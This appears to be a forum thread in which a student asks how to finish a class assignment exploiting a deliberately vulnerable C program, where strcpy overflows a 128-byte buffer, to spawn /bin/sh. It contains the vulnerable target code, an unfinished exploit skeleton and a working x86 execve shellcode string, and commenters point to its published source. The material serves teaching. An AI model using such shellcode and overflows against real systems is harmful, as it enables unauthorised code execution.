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POIntentional buffer overflow exploit program
 

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  1. POIntentional buffer overflow exploit program
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    <p>I'm trying to figure out this problem for one of my comp sci classes, I've utilized every resource and still having issues, if someone could provide some insight, I'd greatly appreciate it.</p> <p>I have this "target" I need to execute a execve(“/bin/sh”) with the buffer overflow exploit. In the overflow of buf[128], when executing the unsafe command strcpy, a pointer back into the buffer appears in the location where the system expects to find return address.</p> <p>target.c</p> <pre><code>int bar(char *arg, char *out) { strcpy(out,arg); return 0; } int foo(char *argv[]) { char buf[128]; bar(argv[1], buf); } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "target: argc != 2"); exit(EXIT_FAILURE); } foo(argv); return 0; } </code></pre> <p>exploit.c</p> <pre><code>#include "shellcode.h" #define TARGET "/tmp/target1" int main(void) { char *args[3]; char *env[1]; args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; env[0] = NULL; if (0 &gt; execve(TARGET, args, env)) fprintf(stderr, "execve failed.\n"); return 0; } </code></pre> <p>shellcode.h</p> <pre><code>static char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; </code></pre> <p>I understand I need to fill argv[1] with over 128 bytes, the bytes over 128 being the return address, which should be pointed back to the buffer so it executes the /bin/sh within. Is that correct thus far? Can someone provide the next step?</p> <p>Thanks very much for any help.</p>
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    1. USEthan Heilman
    1. USCRO
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    1. COA stack overflow and a buffer overflow are two quite different things.
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      1. USBoltClock
    2. COThis is highly dependent on your system (compiler, CPU etc), and you haven't bothered to specify any of that.
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      1. USTony Delroy
    3. COI couldn't help but notice that your shell code is an exact copy of the one found [here](http://insecure.org/stf/smashstack.html). You should probably read through this article, and understand what is going on so you can implement your own. Plagiarism in university is serious stuff.
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      1. USPaul
 

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